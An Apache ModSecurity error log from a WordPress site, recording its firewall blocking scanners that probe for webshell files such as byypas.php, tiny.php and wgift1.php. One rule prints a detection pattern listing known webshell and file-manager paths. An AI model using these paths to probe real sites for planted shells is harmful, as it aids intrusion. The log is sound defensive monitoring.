[Fri Apr 17 08:41:31.977909 2026] [:error] [pid 34273:tid 34293] [client 20.166.7.149:21577] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aeGBu2uQDW686mK3dgFOxwAAAZI"]
[Fri Apr 17 08:41:33.497410 2026] [:error] [pid 9263:tid 9286] [client 20.166.7.149:28655] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aeGBvRP68VyHNvj1e55UpwAAANU"]
[Fri Apr 17 08:41:34.858073 2026] [:error] [pid 34273:tid 34288] [client 20.166.7.149:41044] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aeGBvmuQDW686mK3dgFO7AAAAY0"]
[Fri Apr 17 08:41:36.089607 2026] [:error] [pid 9152:tid 9194] [client 20.166.7.149:13252] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aeGBwJJYca8I3TNCwId2JQAAAEQ"]
[Fri Apr 17 08:41:37.925546 2026] [:error] [pid 25010:tid 25013] [client 20.166.7.149:31976] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aeGBwY-7kkf42RarqQ0FaAAAAUA"]
[Fri Apr 17 08:41:45.643021 2026] [:error] [pid 9152:tid 9208] [client 20.166.7.149:25435] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "aeGByZJYca8I3TNCwId2kAAAAFI"]
[Fri Apr 17 08:41:50.725340 2026] [:error] [pid 34273:tid 34275] [client 20.166.7.149:54791] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "aeGBzmuQDW686mK3dgFPMQAAAYA"]
[Fri Apr 17 08:42:05.085365 2026] [:error] [pid 34273:tid 34283] [client 20.166.7.149:24955] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aeGB3WuQDW686mK3dgFPTwAAAYg"]
[Fri Apr 17 11:49:13.315280 2026] [:error] [pid 51878:tid 51890] [client 182.44.9.147:49783] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeGtuUnQhUtMbw9EsgYAIgAAAQo"]
[Fri Apr 17 19:36:21.790376 2026] [:error] [pid 9152:tid 9209] [client 43.166.129.247:60148] [client 43.166.129.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeIbNZJYca8I3TNCwIdILgAAAFM"]
[Fri Apr 17 20:31:35.342737 2026] [:error] [pid 51878:tid 51886] [client 4.212.95.215:39022] [client 4.212.95.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeIoJ0nQhUtMbw9EsgaEOwAAAQY"]
[Fri Apr 17 20:31:45.505011 2026] [:error] [pid 61523:tid 61556] [client 4.212.95.215:55297] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeIoMcOaH-Pgc7WEf4PDkAAAAc4"]
[Fri Apr 17 20:31:48.088194 2026] [:error] [pid 9263:tid 9267] [client 4.212.95.215:32672] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeIoNBP68VyHNvj1e54wtwAAAMI"]
[Fri Apr 17 20:31:50.472601 2026] [:error] [pid 61523:tid 61543] [client 4.212.95.215:42334] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeIoNsOaH-Pgc7WEf4PDpAAAAcE"]
[Fri Apr 17 20:31:53.917076 2026] [:error] [pid 61523:tid 61558] [client 4.212.95.215:32678] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeIoOcOaH-Pgc7WEf4PDrwAAAdA"]
[Fri Apr 17 20:32:01.124337 2026] [:error] [pid 51878:tid 51898] [client 4.212.95.215:42267] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeIoQUnQhUtMbw9EsgaEjQAAARI"]
[Fri Apr 17 20:32:12.858105 2026] [:error] [pid 61523:tid 61546] [client 4.212.95.215:52842] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeIoTMOaH-Pgc7WEf4PDwwAAAcQ"]
[Fri Apr 17 20:32:14.936897 2026] [:error] [pid 61523:tid 61566] [client 4.212.95.215:41806] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeIoTsOaH-Pgc7WEf4PDyAAAAdg"]
[Fri Apr 17 20:32:17.123520 2026] [:error] [pid 61523:tid 61547] [client 4.212.95.215:55755] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeIoUcOaH-Pgc7WEf4PD0QAAAcU"]
[Fri Apr 17 20:32:19.418979 2026] [:error] [pid 9153:tid 9229] [client 4.212.95.215:56702] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeIoU-MHGxkTZX3c45cEugAAAIs"]
[Fri Apr 17 20:32:20.760543 2026] [:error] [pid 61523:tid 61543] [client 4.212.95.215:47847] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeIoVMOaH-Pgc7WEf4PD5QAAAcE"]
[Fri Apr 17 20:32:21.947776 2026] [:error] [pid 9151:tid 9185] [client 4.212.95.215:38856] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeIoVchTVuRPkua22vQ5-wAAABg"]
[Fri Apr 17 20:32:23.508794 2026] [:error] [pid 9263:tid 9289] [client 4.212.95.215:38850] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeIoVxP68VyHNvj1e54w5wAAANg"]
[Fri Apr 17 20:32:24.243090 2026] [:error] [pid 9263:tid 9288] [client 4.212.95.215:37502] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeIoWBP68VyHNvj1e54w6QAAANc"]
[Fri Apr 17 20:32:24.996007 2026] [:error] [pid 9263:tid 9275] [client 4.212.95.215:38865] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aeIoWBP68VyHNvj1e54w6wAAAMo"]
[Fri Apr 17 20:32:26.018738 2026] [:error] [pid 9263:tid 9268] [client 4.212.95.215:34202] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aeIoWhP68VyHNvj1e54w7gAAAMM"]
[Fri Apr 17 20:32:26.976636 2026] [:error] [pid 9153:tid 9222] [client 4.212.95.215:37486] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aeIoWuMHGxkTZX3c45cExwAAAIQ"]
[Fri Apr 17 20:32:27.928707 2026] [:error] [pid 25010:tid 25028] [client 4.212.95.215:36717] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aeIoW4-7kkf42RarqQ1yFwAAAU8"]
[Fri Apr 17 20:32:29.319401 2026] [:error] [pid 9151:tid 9163] [client 4.212.95.215:38822] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeIoXchTVuRPkua22vQ5_gAAAAI"]
[Fri Apr 17 20:32:30.878122 2026] [:error] [pid 34273:tid 34277] [client 4.212.95.215:34216] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeIoXmuQDW686mK3dgEAVAAAAYI"]
[Fri Apr 17 20:32:32.204019 2026] [:error] [pid 61523:tid 61553] [client 4.212.95.215:56191] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeIoYMOaH-Pgc7WEf4PD8QAAAcs"]
[Fri Apr 17 20:32:33.529226 2026] [:error] [pid 25010:tid 25015] [client 4.212.95.215:47753] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeIoYY-7kkf42RarqQ1yJAAAAUI"]
[Fri Apr 17 20:32:34.525476 2026] [:error] [pid 25010:tid 25020] [client 4.212.95.215:37498] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "aeIoYo-7kkf42RarqQ1yJwAAAUc"]
[Fri Apr 17 20:32:36.668945 2026] [:error] [pid 34273:tid 34280] [client 4.212.95.215:36709] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "aeIoZGuQDW686mK3dgEAWQAAAYU"]
[Fri Apr 17 20:32:40.643887 2026] [:error] [pid 9152:tid 9204] [client 4.212.95.215:40024] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "aeIoaJJYca8I3TNCwIdYCAAAAE4"]
[Fri Apr 17 20:32:57.897708 2026] [:error] [pid 34273:tid 34283] [client 4.212.95.215:37324] [client 4.212.95.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aeIoeWuQDW686mK3dgEAdwAAAYg"]
[Fri Apr 17 20:32:59.195766 2026] [:error] [pid 61523:tid 61558] [client 4.212.95.215:37324] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeIoe8OaH-Pgc7WEf4PEOAAAAdA"]
[Fri Apr 17 20:33:00.231797 2026] [:error] [pid 9263:tid 9281] [client 4.212.95.215:35264] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeIofBP68VyHNvj1e54xMwAAANA"]
[Fri Apr 17 20:33:00.967323 2026] [:error] [pid 51878:tid 51894] [client 4.212.95.215:53249] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeIofEnQhUtMbw9EsgaE1wAAAQ4"]
[Fri Apr 17 20:33:01.754399 2026] [:error] [pid 51878:tid 51898] [client 4.212.95.215:42697] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeIofUnQhUtMbw9EsgaE3AAAARI"]
[Fri Apr 17 20:33:02.482122 2026] [:error] [pid 51878:tid 51888] [client 4.212.95.215:53278] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeIofknQhUtMbw9EsgaE4AAAAQg"]
[Fri Apr 17 20:33:03.266676 2026] [:error] [pid 51878:tid 51881] [client 4.212.95.215:37361] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeIof0nQhUtMbw9EsgaE4wAAAQE"]
[Fri Apr 17 20:33:05.036365 2026] [:error] [pid 34273:tid 34285] [client 4.212.95.215:39805] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeIogWuQDW686mK3dgEAfQAAAYo"]
[Fri Apr 17 20:33:06.185329 2026] [:error] [pid 9263:tid 9284] [client 4.212.95.215:42722] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeIoghP68VyHNvj1e54xQQAAANM"]
[Fri Apr 17 20:33:07.056350 2026] [:error] [pid 51878:tid 51901] [client 4.212.95.215:40053] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aeIog0nQhUtMbw9EsgaE5wAAARU"]
[Fri Apr 17 20:33:09.370610 2026] [:error] [pid 34273:tid 34276] [client 4.212.95.215:36733] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aeIohWuQDW686mK3dgEAggAAAYE"]
[Fri Apr 17 20:33:10.107572 2026] [:error] [pid 61523:tid 61562] [client 4.212.95.215:8600] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aeIohsOaH-Pgc7WEf4PETgAAAdQ"]
[Fri Apr 17 20:33:11.836587 2026] [:error] [pid 9151:tid 9169] [client 4.212.95.215:37674] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aeIoh8hTVuRPkua22vQ6GAAAAAg"]
[Fri Apr 17 20:33:13.180695 2026] [:error] [pid 9152:tid 9210] [client 4.212.95.215:55780] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeIoiZJYca8I3TNCwIdYJwAAAFQ"]
[Fri Apr 17 20:33:13.932988 2026] [:error] [pid 34273:tid 34294] [client 4.212.95.215:36753] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeIoiWuQDW686mK3dgEAhAAAAZM"]
[Fri Apr 17 20:33:16.904977 2026] [:error] [pid 51878:tid 51896] [client 4.212.95.215:48152] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeIojEnQhUtMbw9EsgaE8QAAARA"]
[Fri Apr 17 20:33:19.524487 2026] [:error] [pid 61523:tid 61547] [client 4.212.95.215:47449] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeIoj8OaH-Pgc7WEf4PEYwAAAcU"]
[Fri Apr 17 20:33:23.430700 2026] [:error] [pid 34273:tid 34295] [client 4.212.95.215:33798] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/footer.php"] [unique_id "aeIok2uQDW686mK3dgEAlAAAAZQ"]
[Fri Apr 17 20:33:26.445288 2026] [:error] [pid 9263:tid 9271] [client 4.212.95.215:39470] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/footer.php"] [unique_id "aeIolhP68VyHNvj1e54xbAAAAMY"]
